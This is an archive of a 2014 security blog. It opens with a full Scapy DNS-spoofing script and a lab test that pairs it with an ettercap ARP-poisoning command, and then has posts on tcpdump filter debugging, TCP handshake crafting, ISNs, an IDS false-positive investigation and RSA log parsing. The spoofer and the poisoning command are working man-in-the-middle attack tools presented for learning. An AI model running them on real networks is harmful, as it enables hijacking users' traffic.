Sunday, May 25, 2014

Building your own tools - dnsSpoof - Testing

The testing phase
In the previous post we built a DNS Spoofing tool using Scapy and Python.
In this post, we will validate that the script is working as expected

In this lab we will have the following systems
Kali: 192.168.0.15
Windows Hosts: 192.168.0.16
Gateway: 192.168.0.1

Kali
On This system, we will add entries to our hosts file for some common domain.
Let's see what this looks like
root@securitynik:~# cat /etc/hosts
127.0.0.1    yahoo.com
127.0.0.1   microsoft.com


Let's look at the ARP cache of the Windows System
C:\>arp -aInterface: 192.168.0.16 --- 0x2
  Internet Address      Physical Address      Type
  192.168.0.1           00-04-5a-6c-db-79     dynamic

Let's look at a snapshot of the IPConfig and DNS Settings of the Windows System
Ethernet adapter Local Area Connection:
        IP Address. . . . . . . . . . . . : 192.168.0.16
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.0.1
        DNS Servers . . . . . . . . . . . : 8.8.8.8
                                            4.2.2.1


Let's look at the Windows system host file to ensure these names are not resolved locally
C:\>type "c:\WINDOWS\system32\drivers\etc\hosts"
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
127.0.0.1       localhost

Now let's go ahead and load dnsSpoof.py on Kali
root@securitynik:~/security-nik# ./dnsSpoof.py eth0 192.168.0.15
Current system is Linux ... Good to go!!
 Sniffing for DNS Packet


Let's load up ettercap to perform our ARP Spoofing for the gateway and the windows hosts
root@securitynik:~# ettercap --mitm arp:remote --text --iface eth0 /192.168.0.1/ /192.168.0.16/

Now that ettercap is running let's check the Windows system ARP Cache again
C:\>arp -a
Interface: 192.168.0.16 --- 0x2
  Internet Address      Physical Address      Type
  192.168.0.1           08-00-27-41-9b-6c     dynamic
  192.168.0.15          08-00-27-41-9b-6c     dynamic

Awesome!! It looks like the Kali system is claiming to be 192.168.0.1

Let's go ahead and ping some hosts from our Windows system.
Remember above when we ran ./dnsSpoof.py we used 192.168.0.15 as the spoofed DNS server (./dnsSpoof.py eth0 192.168.0.15)

C:\>ping yaooo.com -n 1 && ping microsoft.com -n 1

Pinging yaooo.com [192.168.0.15] with 32 bytes of data:
Reply from 192.168.0.15: bytes=32 time<1ms TTL=64

Pinging microsoft.com [192.168.0.15] with 32 bytes of data:
Reply from 192.168.0.15: bytes=32 time<1ms TTL=64

As can be seen above, the Windows system thinks that yahoo.com and microsoft.com are both at 192.168.0.15.

What did dnsSpoof see?
Got Query on Sun May 25 12:51:23 2014
 Received Src IP:192.168.0.16,
 Received Src Port: 53049
 Received Query ID:33693
 Query Data Count:1
 Current DNS Server:8.8.8.8
 DNS Query:yaooo.com.

 Sending spoofed response packet
Sent 1 packets.
 Spoofed DNS Server: 192.168.0.15
 src port:53 dest port:53049
 Sniffing for DNS Packet
 Sniffing for DNS Packet
 Sniffing for DNS Packet

 Got Query on Sun May 25 12:51:23 2014
 Received Src IP:192.168.0.16,
 Received Src Port: 64982
 Received Query ID:36189
 Query Data Count:1
 Current DNS Server:8.8.8.8
 DNS Query:microsoft.com.

 Sending spoofed response packet
Spoofed DNS Server: 192.168.0.15
 src port:53 dest port:64982

DNS Spoof did see the request for yahoo.com and microsoft.com and did send the spoof response.

But how can we further confirm this you ask? Ok let's look at the packet capture from the Window's system perspective
Packets don't lie ... or at least shouldn't :-)

C:\tools>WinDump.exe -nn -r dnsspoof.pcap port 53
reading from file dnsspoof.pcap, link-type EN10MB (Ethernet)
12:51:23.466964 IP 192.168.0.16.53049 > 8.8.8.8.53:  33693+ A? yaooo.com. (27)
12:51:23.480022 IP 192.168.0.15.53 > 192.168.0.16.53049:  33693*- 1/1/1 A 192.168.0.15 (11
2)

12:51:23.497526 IP 192.168.0.16.64982 > 8.8.8.8.53:  36189+ A? microsoft.com. (31)
12:51:23.503152 IP 192.168.0.15.53 > 192.168.0.16.64982:  36189*- 1/1/1 (128)


If we look at the captures and the messages from dnsSpoof we can see the following for yahoo.com
Both dnsSpoof and windump report the time as: 12:51:23
Looking at the source port we see the same: 53049
Looking at the query id, we see: 33693
... and the query name? we see we have yahoo.com

More importantly we see while the client at 192.168.0.16 made a request to 8.8.8.8, it actually got its response from 192.168.0.15

Based on the above, I would conclude the tool works as expected.

Go ahead and analyse the microsoft.com reuqest by yourself ;-)

As seen between these two posts on building and testing your own tools (dnsSpoof.py), it really does not take that much effort if you are willing to put in the time.

Building your own tools with Scapy & Python - DNS Spoofing


In a discussion about learning packet crafting tools, a colleague stated that he was learning HPing. I said to him, "if you were going to learn to craft packets, you should dedicate your time to Scapy". Now before I go forward, I must say, in no way am I a HPing, Scapy or Python expert. My knowledge of these tools is enough to get my task done. I recommended Scapy because of my personal preference and bias.

The Construction Phase
I stated that with Scapy you can easily build your own tools. So I thought, if I say it, I need to show it. Demonstrating by examples, is the best way for any one to learn. Therefore, in this post, we will build a DNS Spoofing tool. Don't get worried by the number of lines. This tool can be built with under 20 lines However, because of the comments and building from a teaching perspective, I've used more lines than I should. So read on and have fun.

Quick note: I updated the line "
spoofedUDP_TCPPPacket = UDP(sport=53,dport=clientSrcPort)
" to "spoofedUDP_TCPPPacket = TCP(sport=53,dport=clientSrcPort)". Thanks to one of the comments made by a reader.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
#!/usr/bin/env python
# This code is strictly for demonstration purposes. 
# If used in any other way or for any other purposes. In no way am I responsible 
# for your actions or any damage which may occur as a result of its usage
# dnsSpoof.py
# Author: Nik Alleyne - nikalleyne at gmail dot com 
# http://securitynik.blogspot.com

from os import uname
from subprocess import call
from sys import argv, exit
from time import ctime, sleep
from scapy.all import *


def osCheck():
 if ( uname()[0].strip() == 'Linux' ) or ( uname()[0].strip() == 'linux ') :
  print(' Current system is Linux ... Good to go!!')
 else:
  print(' Not a Linux system ... Exiting ')
  print(' This script is designed to work on Linux ... if you wish you can modify it for your OS ')
  exit(0)


def usage():
 print(" Usage: ./dnsSpoof <interface> <IP of your DNS Server - this is more likely the IP on this system>")
 print(" e.g. ./dnsSpoof eth0 10.0.0.1")


def main():
 call('clear')
 osCheck()

 if len(argv) != 3 :
  usage()
  exit(0)
   
 while 1:
  # Sniff the network for destination port 53 traffic
  print(' Sniffing for DNS Packet ')
  getDNSPacket = sniff(iface=argv[1], filter="dst port 53", count=1)
        
  # if the sniffed packet is a DNS Query, let's do some work
  if ( getDNSPacket[0].haslayer(DNS) ) and  ( getDNSPacket[0].getlayer(DNS).qr == 0 ) and (getDNSPacket[0].getlayer(DNS).qd.qtype == 1) and ( getDNSPacket[0].getlayer(DNS).qd.qclass== 1 ):
   print('\n Got Query on %s ' %ctime())
    
   # Extract the src IP
   clientSrcIP = getDNSPacket[0].getlayer(IP).src
   
   # Extract UDP or TCP Src port
   if getDNSPacket[0].haslayer(UDP) :
    clientSrcPort = getDNSPacket[0].getlayer(UDP).sport
   elif getDNSPacket[0].haslayer(TCP) :
    clientSrcPort = getDNSPacket[0].getlayer(TCP).sport
   else:
    pass
    # I'm not tryint to figure out what you are ... moving on
   
   # Extract DNS Query ID. The Query ID is extremely important, as the response's Query ID must match the request Query ID
   clientDNSQueryID = getDNSPacket[0].getlayer(DNS).id
   
   # Extract the Query Count
   clientDNSQueryDataCount = getDNSPacket[0].getlayer(DNS).qdcount

   # Extract client's current DNS server
   clientDNSServer = getDNSPacket[0].getlayer(IP).dst

   # Extract the DNS Query. Obviously if we will respond to a domain query, we must reply to what was asked for.
   clientDNSQuery = getDNSPacket[0].getlayer(DNS).qd.qname

   print(' Received Src IP:%s, \n Received Src Port: %d \n Received Query ID:%d \n Query Data Count:%d \n Current DNS Server:%s \n DNS Query:%s ' %(clientSrcIP,clientSrcPort,clientDNSQueryID,clientDNSQueryDataCount,clientDNSServer,clientDNSQuery))

   # Now that we have captured the clients request information. Let's go ahead and build our spoofed response
   # First let's set the spoofed source, which we will take from the 3rd argument entered at the command line
   spoofedDNSServerIP = argv[2].strip()

   # Now that we have our source IP and we know the client's destination IP. Let's build our IP Header
   spoofedIPPkt = IP(src=spoofedDNSServerIP,dst=clientSrcIP)

   # Now let's move up the IP stack and build our UDP or TCP header
   # We know our source port will be 53. However, our destination port has to match our client's. 
   # In addition, we don't know if this is UDP or TCP, so let's ensure we capture both

   if getDNSPacket[0].haslayer(UDP) : 
    spoofedUDP_TCPPacket = UDP(sport=53,dport=clientSrcPort)
   elif getDNSPacket[0].haslayer(TCP) : 
    spoofedUDP_TCPPPacket = UDP(sport=53,dport=clientSrcPort)

   # Ok Time for the main course. Let's build out the DNS packet response. This is where the real work is done.
   # This section is where your knowledge of the DNS protocol comes into play. Don't be afraid if you don't know
   # do like I did and revist the RFC :-)
   spoofedDNSPakcet = DNS(id=clientDNSQueryID,qr=1,opcode=getDNSPacket[0].getlayer(DNS).opcode,aa=1,rd=0,ra=0,z=0,rcode=0,qdcount=clientDNSQueryDataCount,ancount=1,nscount=1,arcount=1,qd=DNSQR(qname=clientDNSQuery,qtype=getDNSPacket[0].getlayer(DNS).qd.qtype,qclass=getDNSPacket[0].getlayer(DNS).qd.qclass),an=DNSRR(rrname=clientDNSQuery,rdata=argv[2].strip(),ttl=86400),ns=DNSRR(rrname=clientDNSQuery,type=2,ttl=86400,rdata=argv[2]),ar=DNSRR(rrname=clientDNSQuery,rdata=argv[2].strip()))
   
   # Now that we have built our packet, let's go ahead and send it on its merry way.
   print(' \n Sending spoofed response packet ')
   sendp(Ether()/spoofedIPPkt/spoofedUDP_TCPPacket/spoofedDNSPakcet,iface=argv[1].strip(), count=1)
   print(' Spoofed DNS Server: %s \n src port:%d dest port:%d ' %(spoofedDNSServerIP, 53, clientSrcPort ))

  else:
   pass


if __name__ == '__main__':
 main()





How do we know that this works? Glad you ask. This will be the subject of the next post!


Download dnsSpoof.py Script


Additional Readings:
http://unixwiz.net/techtips/iguide-kaminsky-dns-vuln.html

http://www.secdev.org/projects/scapy/doc/usage.html
http://www.secdev.org/projects/scapy
http://secdev.org/projects/scapy/demo.html
http://www.ietf.org/rfc/rfc1035.txt

Friday, May 23, 2014

debuging the tcpdump - tcpdump -d

Recently in a discussion relating to BPF filters a colleague (thanks Jamie) sent me the link (http://www.tcpdump.org/papers/bpf-usenix93.pdf). However, I figured I would get around to reading it eventually. While addressing some other issues, Brian Dyson on the SANS mailing list suggested I look at the debug option of tcpdump (tcpdump -d) to verify the filter is working. He also provided an example so I can get started. I must admit, I was shocked to see the debug option. I mean, I use tcpdump on a regular basis. I even go through the man pages if I need to verify something. However, for whatever reason, I never noticed and or used the debug option. So I decided to dig (sorry debug) a little deeper.

So without further ado, let's walk through 2 examples

Example 1
let's try a filter that only shows traffic for host 10.0.0.1

root@securitynik:~# tcpdump -d host 10.0.0.1
(000) ldh      [12]
(001) jeq      #0x800           jt 2 jf 6
(002) ld       [26]
(003) jeq      #0xa000001       jt 12 jf 4
(004) ld       [30]
(005) jeq      #0xa000001       jt 12 jf 13
(006) jeq      #0x806           jt 8 jf 7
(007) jeq      #0x8035          jt 8 jf 13
(008) ld       [28]
(009) jeq      #0xa000001       jt 12 jf 10
(010) ld       [38]
(011) jeq      #0xa000001       jt 12 jf 13
(012) ret      #65535
(013) ret      #0


Let's break this down
(000) ldh      [12]
This says to load a half word (2 bytes) for the EtherType at offset 12.

(001) jeq      #0x800           jt 2 jf 6
If an EtherType of 0x0800 (IP) is detected, then jump to 2 else jump 6
Let's assume Ethertype 0x0800 is detected, so let's jump to 2. 

(002) ld       [26]
At offset 26, we will load a word (4 bytes) for our source IP.

(003) jeq      #0xa000001       jt 12 jf 4
If the 4 bytes allocated in (002) equals source IP 0xa000001 (10.0.0.1) then jump to 12 if not jump to 4. 
When we jump to 12 we see - (012) ret      #65535. This basically says to capture all traffic.
If the packet contains a source IP of 10.0.0.1, we should be seeing traffic on the screen or being written to a file.
However, if (003) was false, we would then need to move to 4. Let's do that.

(004) ld       [30]
At offset 30, we will load a word (4 bytes) for our destination IP

(005) jeq      #0xa000001       jt 12 jf 13
If the 4 bytes allocated in 4 equals destination IP 0xa000001 (10.0.0.1) then jump to 12 if not jump to 13.
When we jump to 12 we see - (012) ret      #65535. This basically says to capture all traffic.
This time, if the destination has IP 10.0.0.1, we should be seeing traffic on the screen or being written to a file.
So if (005) was false, we would then need to move to 13 - (013) ret      #0. At this point there is no data to return as the return pointer is 0 

(006) jeq      #0x806           jt 8 jf 7
If the half word (2 bytes) allocated in (000) eq 0x0806 - ARP - then jump to 8 if this is not so, then jump to 7

(007) jeq      #0x8035          jt 8 jf 13
if the half word (2 bytes) allocated in (000) eq 0x8035 - RARP - then jump to 8 if this is not so, then jump to 13

(008) ld       [28]
At offset 28, we will load a word (4 bytes) for checking the source ARP/RARP value

(009) jeq      #0xa000001       jt 12 jf 10
If the 4 bytes allocated for ARP/RARP source address in (008) equals 0xa000001 then jump to 12 if not jump to 10

(010) ld       [38]
At offset 38, we will load a word (4 bytes) for checking the destination ARP/RARP value

(011) jeq      #0xa000001       jt 12 jf 13
If the 4 bytes allocated for ARP/RARP destination address in (008) equals 0xa000001 then jump to 12 if not jump to 10

(012) ret      #65535
This says to return 65535 Bytes, virtually all traffic

(013) ret      #0
This says return 0 bytes as this would be false


example 2

What does it look like when we would not like to see traffic from host 10.0.0.1

root@securitynik:~# tcpdump -d not host 10.0.0.1
(000) ldh      [12]
(001) jeq      #0x800           jt 2 jf 6
(002) ld       [26]
(003) jeq      #0xa000001       jt 12 jf 4
(004) ld       [30]
(005) jeq      #0xa000001       jt 12 jf 13
(006) jeq      #0x806           jt 8 jf 7
(007) jeq      #0x8035          jt 8 jf 13
(008) ld       [28]
(009) jeq      #0xa000001       jt 12 jf 10
(010) ld       [38]
(011) jeq      #0xa000001       jt 12 jf 13
(012) ret      #0
(013) ret      #65535


Basically this seems to go through the same process. However, the differences can be seen at (012) and (013). In the case of not, (012) returns 0 bytes while (013) returns all other traffic.

The above definitely gave me a new perspective on tcpdump. As the title of the blog states, "Learning By Practising" so if someone reading this blog thinks I missed something, please feel free to drop me a comment so I can make any necessary corrections.



Additional Readings:
http://www.tcpdump.org/manpages/tcpdump.1.html
https://www.kernel.org/doc/Documentation/networking/filter.txt
http://en.wikipedia.org/wiki/EtherType
http://docs.oracle.com/cd/E19455-01/806-3773/806-3773.pdf
http://www.linuxalgorithm.com/1607463/

Monday, May 19, 2014

Building your own TCP 3-way handshake – Packet Crafting – The Scapy Way

In my previous post relating to understanding the TCP’s Initial Sequence Number (ISN), I mentioned that understanding the TCP 3-Way Handshake is critical to understanding the ISN.

In this post we will build our own TCP 3-Way handshake and push some data over the connection. We will basically be completing the connection setup from previous post in which we worked on the TCP ISN. Moreover, the objective of this post, is to reinforce the information from the previous post.

So how will we build and verify our handshake? We will do it using the 3 lines below. 

originalPkt = sr1(IP(src="10.0.0.100",dst="10.0.0.50")/TCP(flags="S",sport=5000,dport=80,seq=12345)) 

send(IP(src="10.0.0.100",dst="10.0.0.50")/TCP(flags="A",sport=5000,dport=80,seq=originalPkt.ack,ack=originalPkt.seq+1),count=1)

send(IP(src="10.0.0.100",dst="10.0.0.50")/TCP(flags="PA",sport=5000,dport=80,seq=originalPkt.ack,ack=originalPkt.seq+1)/"HEAD / HTTP/1.0\r\nUser-Agent: Security Nik Testing\r\nHost: securitynik.lab\r\n\r\n",count=1)

Obviously there are many ways to do this but for this lab, this is what we will use. We will analyze this using tcpdump for better understanding.


Let’s break this down!
The Initial Syn Packet
originalPkt = sr1(IP(src="10.0.0.100",dst="10.0.0.50")/TCP(flags="S",sport=5000,dport=80,seq=12345))
1. We use the variable “originalPkt”, for storing the response for the packet we are sending from source IP 10.0.0.100 to destination IP 10.0.0.50. 
2. In the TCP Layer, we set the SYN flag (S), source port 5000, destination port 80, and an Initial Sequence Number (ISN) 12345

Let’s look at this from tcpdump’s perspective once sent.

IP 10.0.0.100.5000 > 10.0.0.50.80: Flags [S], seq 12345, win 8192, length 0


As can be seen, the information in tcpdump matches what we sent in our crafted SYN packet


Let’s look at how we craft our final ACK packet.

Because we used the “originalPkt” as a variable, we can now reference the values which were received in that variable. First, let’s see what tcpdump saw for the response.
IP 10.0.0.50.80 > 10.0.0.100.5000: Flags [S.], seq 983686717, ack 12346, win 8192, options [mss 1460], length 0

Looking at the above line, the server responded with its Syn+Ack. What is of the most importance to us in this response, is the server’s initial Sequence Number (ISN). In this case the server’s ISN is “983686717”. Now that we have the server’s ISN let’s go ahead and build our final ACK packet.

send(IP(src="10.0.0.100",dst="10.0.0.50")/TCP(flags="A",sport=5000,dport=80,seq=originalPkt.ack,ack=originalPkt.seq+1),count=1)

For our final ACK packet, we set the following.
1. Flags=“A” - ACK Flag
2. seq=originalPkt.ack - The sequence number we will use for our final ACK will be the Acknowledgement Number which was sent from the Server. In this case it is “ack 12346”
3. ack=originalPkt.seq+1 - Because we need to acknowledge the server’s sequence number which is unknown, we now extract that sequence number from the variable originalPkt and add 1 to this number.

Let’s send this on its way and see what tcpdump sees.
IP 10.0.0.100.5000 > 10.0.0.50.80: Flags [.], ack 983686718, win 8192, length 0

Awesome!!! We completed our TCP 3-way handshake. 


So let’s verify this is working as expected by sending some crafted data to the server.

send(IP(src="10.0.0.100",dst="10.0.0.50")/TCP(flags="PA",sport=5000,dport=80,seq=originalPkt.ack,ack=originalPkt.seq+1)/"HEAD / HTTP/1.0\r\nUser-Agent: Security Nik Testing\r\nHost: securitynik.lab\r\n\r\n",count=1)


Let’s see what tcpdump sees
IP 10.0.0.100.5000 > 10.0.0.50.80: Flags [P.], seq 12346:12422, ack 983686718, win 8192, length 76 E..t....@.e...d
..2...P..0::..>P. .44..HEAD / HTTP/1.0
User-Agent: Security Nik Testing
Host: securitynik.lab

Looks like we send some data successfully. Hmmm, I wonder how the server handled this? Let’s find out.

IP 10.0.0.50.80 > 10.0.0.100.5000: Flags [FP.], seq 983686718:983686962, ack 12422, win 65392, length 244
E...J.@....h..2
..d.P..:..>..0.P..p>N..HTTP/1.1 200 OK
Content-Length: 1398
Content-Type: text/html
Last-Modified: Sat, 17 May 2014 03:28:48 GMT
Accept-Ranges: bytes
ETag: "651ae21d8071cf1:0"
Server: Microsoft-IIS/8.0
Date: Mon, 19 May 2014 22:06:09 GMT
Connection: close

Nice!!!!! Looks like we profiled the server and know now that it a Microsoft-IIS/8.0 server

As can be seen, building your own TCP 3-Way handshake is not that difficult once you have the right understanding of how the protocols works.

Something to think about!
While we were able to establish the connection and generate a response from the server, do notice in the response from the server the FPA (FIN, PUSH and ACK flags) are all set. In this case, because we are not acknowledging the server’s FIN, it will try to resend the data. However, if no FIN ACK is received, it will eventually tear down the communication with a RST packet.

Additional Reading:
http://www.ietf.org/rfc/rfc793.txt
http://www.packetstan.com
http://projects.webappsec.org/w/page/13246925/Fingerprinting
http://www.secdev.org/projects/scapy/
http://www.net-square.com/httprint_paper.html

Saturday, May 17, 2014

Understanding the TCP ISN – with a taste of Scapy

In a discussion with a colleague, I recognized that there was some misunderstanding in the role of the Initial Sequence Number (ISN) in the operations of the TCP protocol.  As a result, I thought this blog may be helpful to anyone who probably needs to learn what is the ISN’s role in the TCP communication. 

First, we need to understand, that the Initial Sequence is only related to the TCP protocol. 

Let’s look at the TCP Header.
0                   1                   2                   3   
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |          Source Port          |       Destination Port        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                        Sequence Number                        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                    Acknowledgment Number                      |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |  Data |           |U|A|P|R|S|F|                               |
   | Offset| Reserved  |R|C|S|S|Y|I|            Window             |
   |       |           |G|K|H|T|N|N|                               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |           Checksum            |         Urgent Pointer        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                    Options                    |    Padding    |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                             data                              |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                            TCP Header Format

As we can see from above, there is no field that states “Initial Sequence Number”. However, there is a field called “Sequence Number”. The number which is first used when establishing communication is what is known as the Initial Sequence Number. Understanding the TCP 3-way handshake is critical to understanding how this Initial Sequence Number (ISN) is used.

According to RFC793 “If SYN is present, the sequence number is the Initial Sequence Number (ISN)”. Considering the preceding sentence, the initial sequence number should only be considered in a situation where the SYN flag is set. This would mean if a client and a server are attempting to establish communication via TCP, then both the client and the server would generate initial sequence numbers.

In the IPv4 protocol, the sequence number field is 4 bytes (32 bits) and uses pseudo-random number generators (PRNGs). 

Let’s look at this using an example.
In this lab, we will target a system running Windows 2012 with port 80 opened.
The two tools we will use are scapy and tshark. For the client, we will manually set the Initial Sequence Number (ISN) as 12345. For the server, we will let its’ TCP/IP stack generate its ISN. 

Let’s do this! 
First scapy
>>> send(IP(src="10.0.0.100",dst="10.0.0.50")/TCP(flags="S", seq=12345),count=1)
.
Sent 1 packets.

Now let’s analyze the tshark ouput
root@securitynik:~# tshark -n -i eth0 -Y "tcp.port==80"
Capturing on 'eth0'
2.141961   10.0.0.100 -> 10.0.0.50    TCP 54 20 > 80 [SYN] Seq=12345 Win=8192 Len=0
2.142908    10.0.0.50 -> 10.0.0.100   TCP 60 80 > 20 [SYN, ACK] Seq=3113386566 Ack=12346 Win=8192 Len=0 MSS=1460

As can be seen above, the packet from 10.0.0.100 to 10.0.0.50 is the client trying to establish a connection to the server. In this case 10.0.0.100 Initial Sequence Number (ISN) is 12345. It also has the SYN flag set. In the response packet from 10.0.0.50 to 10.0.0.100, while the ACK flag is set, the one that is of importance to us for this post is the SYN flag. In this case the server is responding to the client’s request. The server is sending its ISN as 3113386566.

Hopefully the above helps someone else to get a better understanding of the role the ISN plays in TCP communication.

Additional Readings:



Wednesday, May 14, 2014

True or False? - Positive ... That is the question

Snort Alert:
[119:2:1] http_inspect: DOUBLE DECODING ATTACK [Impact: Currently Not Vulnerable] From "ids.securitynik.lab" at Tue May 13 15:10:16 2014 UTC [Classification: Not Suspicious Traffic] [Priority: 3] {tcp} 10.0.0.100:34371->184.84.243.33:80

Recently a large number of the above alerts were seen rushing into an IDS. It was continuous which made the process of identifying the problem somewhat easier as opposed to having to look at historical data for something that happened in the past.

Beginning the investigative process
While looking at the IDS packet would be a great place to start, I choose not to. Why Not? I'm glad you asked :-).
The IDS would give me the packet which created the alert. Becuase this was ongoing, running wireshark on the affected system would give me the full communication. So, Wireshark was started  to begin the capture.

As Wireshark was running a command prompt was opened and netstat was started with a refresh of 1 second. Below shows the output of the netstat output. By using the '-o' option, we will also see the PID of the process which is connecting to the IP in the destination.

C:\>netstat -no /t 1  | findstr /i 184.84.243.33
  TCP    10.0.0.100:34209   184.84.243.33:80       TIME_WAIT       0
  TCP    10.0.0.100:34304   184.84.243.33:80       ESTABLISHED     11776
  TCP    10.0.0.100:34332   184.84.243.33:80       TIME_WAIT       0
  TCP    10.0.0.100:34335   184.84.243.33:80       TIME_WAIT       0
  TCP    10.0.0.100:34397   184.84.243.33:80       ESTABLISHED     11776

Once the Process ID was found, next step was to run tasklist on this

C:\>tasklist | findstr 11776
iexplore.exe                 11776 RDP-Tcp#4                  9    182,464 K

As can be seen tasklist suggested the process is iexplore.exe (Internet Explorer) and that this is a RDP (Terminal Server) Session with the user being on session #4 (RDP-Tcp#4)

Now that we have the user's RDP Session number, it is time to look directly at the Terminal Server to see what sessions exist and who this user is.

C:\>qwinsta
 SESSIONNAME       USERNAME                 ID  STATE   TYPE        DEVICE
 services                                    0  Disc
 console                                     1  Conn
>rdp-tcp#1         User1                  2  Active  rdpwd
         rdp-tcp#4         securityNik_User             9  Active  rdpwd
 rdp-tcp#6         User2                  10  Active  rdpwd
 rdp-tcp                                 65536  Listen

As can be seen user "securityNik_User" is on session #4. But how can this be, the user is off from work.

Hmmmm!!!! Should I be worried? Let's find out.
Now that we have the user and the process, let's stop the packet capture to see what we can learn.

To keep things simple, let's use a display filter of "tcp.stream eq 0" and take a snapshot of what's there.

Client request:
GET /watch/video/shark-attacks-inflatable-boat/2gvvsys9k?from=en-ca-quad&cpkey=51b72330-00e2-4ff4-b67c-1d2cf1779465%257c%257c%257c%257c HTTP/1.1 Accept: text/html, application/xhtml+xml, */* 
Referer: http://video.ca.msn.com/watch/video/inspiring-stories-about-mothers/2j6jhnvd?from=en-ca-quad&cpkey=51b72330-00e2-4ff4-b67c-1d2cf1779465%257c%257c%257c%257c 
Accept-Language: en-us User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; WOW64; Trident/5.0) Accept-Encoding: gzip, deflate Host: video.ca.msn.com

Server Response
HTTP/1.1 200 OK 
Content-Type: text/html; charset=utf-8 
Server: Microsoft-IIS/8.0
Content-Length: 36405

Looking at the above it would seem like the user was looking at videos from MSN and left his browser opened. As a result, once one video was finished another started playing automatically. This does not seem too dangerous or something that requires further investigation at this point. However, while this is my conclusion, a point I like to state is that the decision is always up to the analyst. Thus someone else may see something which I may have missed and this is why it is always best to work in teams and discuss these events before a conclusion is drawn.

Above I mentioned the user was off from work. However, it turned out the user's RDP session was still active because the user did not log out
Once the conclusion was drawn that this was not malicious, the next step was to close off user securityNik_User RDP Session.

As can be seen below, the user's session on longer exists.
C:\>qwinsta
 SESSIONNAME       USERNAME                 ID  STATE   TYPE        DEVICE
 services                                    0  Disc
 console                                     1  Conn
>rdp-tcp#1         User1                  2  Active  rdpwd
         rdp-tcp#6         User2                  10  Active  rdpwd
 rdp-tcp                                 65536  Listen

Once the session was closed the alerts stopped occuring. 
Considering the preceeding pargraphs, if this was considered to be malicious, it would have been time to begin analysing the IE session to see what other information can be gathered from it.

A point I like to keep repeating is obtaining as much information from as much different sources as possible, helps to make the conclusion drawn more sound and easier to stand up to scrutiny.

At the beginning I asked, True or False? I would say False.


Additional readings:
http://technet.microsoft.com/en-us/library/bb491010.aspx
http://technet.microsoft.com/en-us/library/cc730909.aspx
http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/netstat.mspx?mfr=true
http://technet.microsoft.com/en-us/library/cc940097.aspx
http://www.scsssinc.bcentralhost.com/qw.htm
http://technet.microsoft.com/en-us/library/cc725766.aspx

Wednesday, May 7, 2014

RSA SecureID Log Analysis – still splunking away

Similar to my previous post, this situation also required some information to be extracted from RSA logs. However, in this case getting the information was a bit tricky as the RSA does not send this information via syslog.

The solution? 1. Enable SNMP traps on the RSA Devices
2. Configure the net-snmp on the splunk server to accept traps
3. Write these traps to a file
4. Pass the file to splunk for parsing
However, just as in the previous case, splunk did not have fields readily available for the information I required.

Once again, let’s see how we can grab information pertaining to a successful and a failed logon.

Success Login

May
6 10:30:55 securitynik_splunk snmptrapd[26393]: 2014-05-06 10:30:55 rsa.securitynik.lab [UDP: [10.0.0.100]:28359->[10.0.0.101]]:#012DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (33482396) 3 days, 21:00:23.96#011SNMPv2-MIB::snmpTrapOID.0 = OID: SNMPv2-SMI::enterprises.2197.20.17#011SNMPv2-SMI::enterprises.2197.20.16.5.0 = STRING: "INFO"#011SNMPv2-SMI::enterprises.2197.20.16.7.0 = STRING: "13002"#011SNMPv2-SMI::enterprises.2197.20.16.6.0 = STRING: "Runtime event {ID: d1f31bbc218d56d002aa2982137555bc, time: Tue May 06 10:32:21 EDT 2014, client: 10.0.0.105, user: User [ID: e2d286571c8d56d0038cd0df39806550, session ID: m1f31b9c218d56d002a72ceff4eb5ca9-/+a27ZXrOmot, login name: securitynik_User, first name: Securitynik, last name: User, security domain ID: 000000000000000000001000f0000000, identity source ID: a320d7851c8d72d00301c794b31ffb91], action: AUTHN_LOGIN_EVENT, action id: 13002, result: SUCCESS, reason: AUTHN_METHOD_SUCCESS, agent: Agent [ID: 2d2262b71c8d56d00278bfbc91c76a1f, name: ssl.securitynik.lab, address: 10.0.0.105, type: 7, security domain ID: 000000000000000000001000f0000000], policy: Policy [method ID: 000000000000000000002000f1022000, policy ID: null, method name: SecurID_Native, policy expression: null], arguments: [AUTHN_LOGIN_EVENT, 5, 1, 000000000000000000001000f0000000, SystemDomain, 54cbfb3b1c8d56d00311a45c28bf4ffa, MySupport, c22e788d1c8d56d004a7814e36292e88, 000120606698, null]}"#011SNMPv2-SMI::enterprises.2197.20.16.8.0 = STRING: "AUTHN_METHOD_SUCCESS"


Failed Login


May
